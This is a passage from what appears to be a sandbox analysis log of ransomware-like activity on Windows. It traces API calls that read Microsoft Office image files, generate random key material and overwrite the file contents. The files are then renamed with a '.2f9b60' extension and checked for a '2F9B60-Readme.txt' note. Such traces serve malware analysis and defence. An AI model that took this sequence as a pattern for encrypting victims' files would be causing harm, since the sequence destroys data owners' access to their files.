Flags=0x8, Size=0x3a) returned 0x42059ce0 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d30 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061b30 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0140.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059830 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267350 [0140.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267320 [0140.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267320) returned 1 [0140.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061b30) returned 1 [0140.914] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d30) returned 1 [0140.914] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1b77f170 [0140.914] SetFilePointerEx (in: hFile=0x1f08, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.914] WriteFile (in: hFile=0x1f08, lpBuffer=0x1b77f170*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2af2f690, lpOverlapped=0x0 | out: lpBuffer=0x1b77f170*, lpNumberOfBytesWritten=0x2af2f690*=0x11e, lpOverlapped=0x0) returned 1 [0140.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77f170) returned 1 [0140.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0140.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267350) returned 1 [0140.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0140.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a9c0) returned 1 [0140.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b5f0) returned 1 [0140.986] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bf40) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278fb0 [0140.986] wcscpy (in: _Dest=0x20278fb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg" [0140.986] wcscat (in: _Dest=0x20278fb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.2f9b60" [0140.986] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.2f9b60", NtPathName=0x2af2f6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackground.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.986] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776e70 [0140.987] NtSetInformationFile (FileHandle=0x1f08, IoStatusBlock=0x2af2f750, FileInformation=0x1b776e70, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0145.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776e70) returned 1 [0145.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fcc70) returned 1 [0145.435] NtQueryInformationFile (in: FileHandle=0x1f08, IoStatusBlock=0x2af2f718, FileInformation=0x2af2f728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2af2f718, FileInformation=0x2af2f728) returned 0x0 [0145.435] NtSetInformationFile (FileHandle=0x1f08, IoStatusBlock=0x2af2f718, FileInformation=0x2af2f728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278fb0) returned 1 [0145.800] FlushFileBuffers (hFile=0x1f08) returned 1 [0145.994] CloseHandle (hObject=0x1f08) returned 1 [0146.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce11e40 [0146.013] wcscpy (in: _Dest=0x1ce11e40, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.013] wcscat (in: _Dest=0x1ce11e40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce11e40) returned 1 [0147.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac4d0) returned 1 Thread: id = 1844 os_tid = 0xc74 [0132.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg")) returned 0x20 [0136.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg", dwFileAttributes=0x20) returned 1 [0137.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\notifierbackgroundrtl.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f48 [0141.607] GetFileSizeEx (in: hFile=0x1f48, lpFileSize=0x2aaff8c0 | out: lpFileSize=0x2aaff8c0*=16554) returned 1 [0141.607] SetFilePointerEx (in: hFile=0x1f48, liDistanceToMove=0x40a6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.607] ReadFile (in: hFile=0x1f48, lpBuffer=0x2aaff840, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2aaff888, lpOverlapped=0x0 | out: lpBuffer=0x2aaff840*, lpNumberOfBytesRead=0x2aaff888*=0x4, lpOverlapped=0x0) returned 1 [0141.706] SetFilePointerEx (in: hFile=0x1f48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe050 [0141.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe140 [0141.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1d0 [0141.706] NtQuerySystemTime (in: CurrentTime=0x2aaff780 | out: CurrentTime=0x2aaff780*=132462177469438000) returned 0x0 [0141.706] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x173dac0b [0141.706] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x51383e2a [0141.706] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x3acf598 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x6c6ceb5b [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x7d260c2d [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x6c1ae8ae [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x3a934166 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x54697993 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x7dcbf72e [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x3dd6bb13 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x1f7b068d [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x7366f67f [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x4682d9e3 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x1977286 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x4800fde2 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x657b3116 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x77411fd0 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x71b0799f [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0xf968154 [0141.707] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x4245b159 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x47d62522 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x43c4c8a4 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x4b7c8048 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x7e602649 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x5da9e6fa [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x78410e1b [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x6d2e0c5c [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x477fb6f [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x7981bcb2 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x3b246c10 [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x23baedab [0141.708] RtlRandomEx (in: Seed=0x2aaff770 | out: Seed=0x2aaff770) returned 0x55939cd5 [0141.718] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe200 [0141.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061430 [0141.719] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe230 [0141.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061430) returned 1 [0141.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1d0) returned 1 [0141.720] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe050) returned 1 [0141.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422901c0 [0141.720] SetFilePointerEx (in: hFile=0x1f48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.720] ReadFile (in: hFile=0x1f48, lpBuffer=0x422901c0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2aaff7e0, lpOverlapped=0x0 | out: lpBuffer=0x422901c0*, lpNumberOfBytesRead=0x2aaff7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.781] SetFilePointerEx (in: hFile=0x1f48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ba0 [0141.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420616b0 [0141.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42279960 [0141.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd810 [0141.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd7e0 [0141.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd7e0) returned 1 [0141.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420616b0) returned 1 [0141.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ba0) returned 1 [0141.783] WriteFile (in: hFile=0x1f48, lpBuffer=0x42279960*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2aaff7e0, lpOverlapped=0x0 | out: lpBuffer=0x42279960*, lpNumberOfBytesWritten=0x2aaff7e0*=0x3c00, lpOverlapped=0x0) returned 1 [0141.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42279960) returned 1 [0141.828] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422901c0) returned 1 [0141.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0141.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059a10 [0141.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061930 [0141.828] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059bf0 [0141.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe470 [0141.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe4a0 [0141.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe4a0) returned 1 [0141.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061930) returned 1 [0141.829] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059a10) returned 1 [0141.829] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b866130 [0141.829] SetFilePointerEx (in: hFile=0x1f48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0141.830] WriteFile (in: hFile=0x1f48, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2aaff890, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x2aaff890*=0x124, lpOverlapped=0x0) returned 1 [0141.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0141.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059bf0) returned 1 [0141.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe470) returned 1 [0141.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0141.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd810) returned 1 [0141.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe140) returned 1 [0141.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe200) returned 1 [0141.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe230) returned 1 [0141.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x20279730 [0141.895] wcscpy (in: _Dest=0x20279730, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg" [0141.895] wcscat (in: _Dest=0x20279730, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.2f9b60" [0141.895] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.2f9b60", NtPathName=0x2aaff8b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\NotifierBackgroundRTL.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0141.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd6) returned 0x1cecfbe0 [0141.895] NtSetInformationFile (FileHandle=0x1f48, IoStatusBlock=0x2aaff950, FileInformation=0x1cecfbe0, Length=0xd6, FileInformationClass=0xa) returned 0x0 [0145.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecfbe0) returned 1 [0145.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500c70) returned 1 [0145.397] NtQueryInformationFile (in: FileHandle=0x1f48, IoStatusBlock=0x2aaff918, FileInformation=0x2aaff928, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2aaff918, FileInformation=0x2aaff928) returned 0x0 [0145.397] NtSetInformationFile (FileHandle=0x1f48, IoStatusBlock=0x2aaff918, FileInformation=0x2aaff928, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.408] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279730) returned 1 [0145.408] FlushFileBuffers (hFile=0x1f48) returned 1 [0145.409] CloseHandle (hObject=0x1f48) returned 1 [0145.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12470 [0145.417] wcscpy (in: _Dest=0x1ce12470, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.417] wcscat (in: _Dest=0x1ce12470, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12470) returned 1 [0147.215] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106940) returned 1 Thread: id = 1845 os_tid = 0xc78 [0133.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x1186e0 [0133.001] wcscpy (in: _Dest=0x1186e0, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0133.001] wcscat (in: _Dest=0x1186e0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0133.001] wcscat (in: _Dest=0x1186e0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*" [0133.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1ebc0 [0133.001] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\*", lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cea60 [0133.002] wcscmp (_String1=".", _String2=".") returned 0 [0133.002] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.002] wcscmp (_String1="..", _String2=".") returned 1 [0133.002] wcscmp (_String1="..", _String2="..") returned 0 [0133.002] FindNextFileW (in: hFindFile=0x1b7cea60, lpFindFileData=0x1ce1ebc0 | out: lpFindFileData=0x1ce1ebc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0133.002] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2=".") returned 1 [0133.002] wcscmp (_String1="vcRuntimeMinimum_amd64", _String2="..") returned 1 [0133.003] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe6) returned 0x1b799340 [0133.003] wcscpy (in: _Dest=0x1b799340, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages" [0133.003] wcscat (in: _Dest=0x1b799340, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\" [0133.003] wcscat (in: _Dest=0x1b799340, _Source="vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0151.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xea) returned 0x1b78e580 [0151.373] wcscpy (in: _Dest=0x1b78e580, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0151.373] wcscat (in: _Dest=0x1b78e580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\" [0151.373] wcscat (in: _Dest=0x1b78e580, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" [0151.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027d430 [0151.373] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0151.374] wcscmp (_String1=".", _String2=".") returned 0 [0151.374] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x2027d430 | out: lpFindFileData=0x2027d430*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1a1e5b40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a1e5b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1a1e5b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.374] wcscmp (_String1="..", _String2=".") returned 1 